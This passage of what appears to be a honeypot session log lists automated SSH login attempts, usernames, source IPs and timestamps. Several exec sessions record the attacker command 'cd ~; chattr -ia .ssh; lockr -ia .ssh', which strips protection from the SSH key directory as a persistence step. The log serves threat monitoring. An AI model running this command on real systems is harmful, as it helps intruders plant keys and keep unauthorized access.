  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:30:12.111563+00:00",
  "ended_at": "2026-08-27T07:30:13.859899+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33a416c2-d44e-49ee-b200-ed7af2034aa4",
  "name": "lofty-prickly-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:28:19.250693+00:00",
  "ended_at": "2026-08-27T07:28:21.427591+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "28c648ea-5ff4-488b-87fe-e194c9c0fee1",
  "name": "marbled-eager-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59002,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:28:02.656948+00:00",
  "ended_at": "2026-08-27T07:28:04.010225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "922b843b-eee2-42ac-a5ac-4cb889d79dad",
  "name": "balmy-plush-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58130,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:28:00.329698+00:00",
  "ended_at": "2026-08-27T07:28:01.953839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "691f1c33-c12d-48ab-848e-0235d78d19f4",
  "name": "hollow-ashen-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 50711,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:27:13.836474+00:00",
  "ended_at": "2026-08-27T07:27:18.518137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d57e288b-31b9-43ea-8f21-f6def60e9813",
  "name": "indigo-smooth-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37996,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:26:09.653360+00:00",
  "ended_at": "2026-08-27T07:26:10.832162+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2265
 },
 {
  "id": "6ec30e45-3dd5-49e4-b54c-c9868c3e882d",
  "name": "canny-jovial-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39456,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:25:54.722640+00:00",
  "ended_at": "2026-08-27T07:25:55.918226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8881cda-4ba4-4ce7-bf11-dc4703f38d23",
  "name": "western-bashful-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38748,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:25:52.706945+00:00",
  "ended_at": "2026-08-27T07:25:54.016947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04f01d6a-7440-4531-9115-1c058db21d70",
  "name": "verdant-civil-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46694,
  "username": "nfs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:24:11.491429+00:00",
  "ended_at": "2026-08-27T07:24:12.531091+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "2ecd668b-6ea2-4aa0-ae80-5edcf5becf29",
  "name": "hazy-hollow-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48366,
  "username": "nfs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:23:55.413630+00:00",
  "ended_at": "2026-08-27T07:23:56.924271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7846d370-6dad-4d51-a0be-998e2100cf7e",
  "name": "courtly-nautical-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:23:53.130692+00:00",
  "ended_at": "2026-08-27T07:23:54.710084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b6730a7-1255-46c6-a602-4141ad2c9c63",
  "name": "grumpy-bold-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56550,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:22:57.120188+00:00",
  "ended_at": "2026-08-27T07:23:48.639549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fa3906f-18da-46d9-8371-43486c0a619f",
  "name": "amiable-kindly-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56436,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:22:34.432130+00:00",
  "ended_at": "2026-08-27T07:22:53.356329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d5b2901-3556-4c9b-806e-07f5bc37792c",
  "name": "lonesome-vaulted-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:22:10.073480+00:00",
  "ended_at": "2026-08-27T07:22:11.907203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2289
 },
 {
  "id": "82e057be-a610-40d5-8d0b-c98d89e6dba9",
  "name": "prickly-civil-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:21:55.558371+00:00",
  "ended_at": "2026-08-27T07:21:56.537166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9863428f-bced-4f20-aea6-2649bc725b9c",
  "name": "leafy-forlorn-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 55980,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:21:53.706705+00:00",
  "ended_at": "2026-08-27T07:21:54.900968+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "522678dd-a3bf-44f1-a2b9-67ab5c61be01",
  "name": "ivory-tangled-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53714,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:20:21.965006+00:00",
  "ended_at": "2026-08-27T07:20:24.914255+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8477a6bd-07cb-4fd4-979f-12cccb1b9c57",
  "name": "gnarled-cosmic-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:20:03.763769+00:00",
  "ended_at": "2026-08-27T07:20:05.167051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "fa17daf1-5566-456f-92e2-913d87edb24c",
  "name": "hazy-bashful-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37412,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:19:48.126937+00:00",
  "ended_at": "2026-08-27T07:19:49.938440+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e963516-6a44-42e0-8df0-43242987f9fb",
  "name": "breezy-bashful-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36444,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:19:45.833123+00:00",
  "ended_at": "2026-08-27T07:19:47.476906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab6d24c9-9498-482b-b7fa-5b01a147069d",
  "name": "prickly-graceful-salmon",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:18:43.991540+00:00",
  "ended_at": "2026-08-27T07:34:09.419542+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "df4317ee-c61b-4c06-b90e-8d5ca59d3141",
  "name": "brisk-glassy-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51228,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:18:13.880254+00:00",
  "ended_at": "2026-08-27T07:18:19.002629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d6118a4-cf5f-4af8-8f8c-79841f70cd52",
  "name": "upland-frank-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44548,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:17:58.610375+00:00",
  "ended_at": "2026-08-27T07:17:59.905550+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2212
 },
 {
  "id": "9a7cbdbb-5de0-48b8-b44b-2cba6db49bfb",
  "name": "brave-gritty-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45696,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:17:41.260647+00:00",
  "ended_at": "2026-08-27T07:17:42.516632+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f8d533f-21fe-4a07-b54d-e0da1065aa5d",
  "name": "bold-inland-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45160,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:17:40.001300+00:00",
  "ended_at": "2026-08-27T07:17:40.615172+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4de592d-d981-43c0-96be-27978e9ac70d",
  "name": "tranquil-lanky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53256,
  "username": "testuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:15:48.499839+00:00",
  "ended_at": "2026-08-27T07:15:49.490791+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "b7d0d2dc-d40f-4c94-ad13-3bf726b7da85",
  "name": "arctic-courtly-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54260,
  "username": "testuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:15:32.690654+00:00",
  "ended_at": "2026-08-27T07:15:34.051447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4987519-1b27-4f1c-9a0c-d3033e3fd1bb",
  "name": "downy-vaulted-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53750,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:15:31.318496+00:00",
  "ended_at": "2026-08-27T07:15:32.043698+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51612420-ba2f-48c7-a878-ddb7d8c68fa8",
  "name": "rapid-orderly-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33730,
  "username": "florin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:13:39.204725+00:00",
  "ended_at": "2026-08-27T07:13:40.379332+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2202
 },
 {
  "id": "a974f0ed-7264-46c8-9774-9ee755df4b1e",
  "name": "idle-gilded-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35454,
  "username": "florin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:13:23.999439+00:00",
  "ended_at": "2026-08-27T07:13:24.898171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5339fd3-91d8-4c8b-a38b-f499eea5b74f",
  "name": "coastal-quartz-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34504,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:13:21.502672+00:00",
  "ended_at": "2026-08-27T07:13:23.356078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "abd3c6b5-7436-4da3-979d-4c48f8db5de7",
  "name": "subtle-steady-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:09:47.536725+00:00",
  "ended_at": "2026-08-27T07:09:49.079769+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "71faa608-e9ac-47d9-bbb9-3990942fffb1",
  "name": "humble-blazing-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 44182,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:09:31.957856+00:00",
  "ended_at": "2026-08-27T07:09:33.601543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d0ae2b0-e7d2-4d77-8c97-03eb6652169d",
  "name": "lawful-weathered-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43016,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:09:29.446307+00:00",
  "ended_at": "2026-08-27T07:09:31.255193+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca13901f-7aba-45b0-aa2b-12b3ad3bcb7e",
  "name": "plush-snowy-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 51136,
  "username": "lbx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:07:42.310502+00:00",
  "ended_at": "2026-08-27T07:07:44.027632+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2171
 },
 {
  "id": "f04f0a91-a0fe-4b2b-ae96-cdaf120942d5",
  "name": "icy-quiet-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52424,
  "username": "lbx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:07:27.701479+00:00",
  "ended_at": "2026-08-27T07:07:28.789126+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4821fddf-40cc-4fba-a195-3a8c5d4537b9",
  "name": "crisp-zealous-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51718,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:07:25.816053+00:00",
  "ended_at": "2026-08-27T07:07:27.001257+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24b22214-e858-4730-bbcd-b41e935ab9f5",
  "name": "burly-gleaming-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59844,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:05:41.758184+00:00",
  "ended_at": "2026-08-27T07:05:43.200621+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2164
 },
 {
  "id": "3cee7a86-7719-4406-83b9-3cf1558ce46e",
  "name": "leafy-vigilant-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 33216,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:05:25.305640+00:00",
  "ended_at": "2026-08-27T07:05:27.059582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d646fdb1-4be4-4a38-944b-47480bccfe96",
  "name": "shifting-humble-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:05:22.849597+00:00",
  "ended_at": "2026-08-27T07:05:24.594882+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "432ebf80-50b7-4ad3-8d3e-d2a0d938c8d6",
  "name": "ashen-lofty-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 40314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:03:36.617750+00:00",
  "ended_at": "2026-08-27T07:03:37.835051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "6088c33e-7d2f-49a6-a30c-e9c29a5208f9",
  "name": "rustic-coral-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:03:21.500731+00:00",
  "ended_at": "2026-08-27T07:03:22.197216+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "710cce6a-e33a-4cfd-8fa7-0db6556a1922",
  "name": "dusty-sterling-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:03:20.230259+00:00",
  "ended_at": "2026-08-27T07:03:20.832518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaf58b00-0af5-4c4a-8453-752d4e5b8ee0",
  "name": "crisp-gritty-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 49024,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:01:26.047857+00:00",
  "ended_at": "2026-08-27T07:01:27.467618+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2140
 },
 {
  "id": "9157ca3a-2f83-4b77-b8f7-8231540760bb",
  "name": "eager-oaken-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 50398,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:01:10.652690+00:00",
  "ended_at": "2026-08-27T07:01:11.356711+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11c22ab0-aa37-4b09-b610-465593538dcc",
  "name": "sandy-coastal-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49604,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:01:08.379302+00:00",
  "ended_at": "2026-08-27T07:01:09.960050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98796246-8261-44f3-a812-1a7c50633a0e",
  "name": "crystal-crimson-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57732,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:59:18.510870+00:00",
  "ended_at": "2026-08-27T06:59:20.656529+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "2936035d-53ae-4ce0-94a7-5252ec13b0f4",
  "name": "patient-gnarled-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:59:01.793201+00:00",
  "ended_at": "2026-08-27T06:59:03.314018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b3727324-460c-4529-9e5d-cb288b50b121",
  "name": "umber-dapper-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58460,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:58:59.273378+00:00",
  "ended_at": "2026-08-27T06:59:01.128725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd40fff4-1506-4355-ac14-9271e7fc1cba",
  "name": "civil-peaty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60062,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
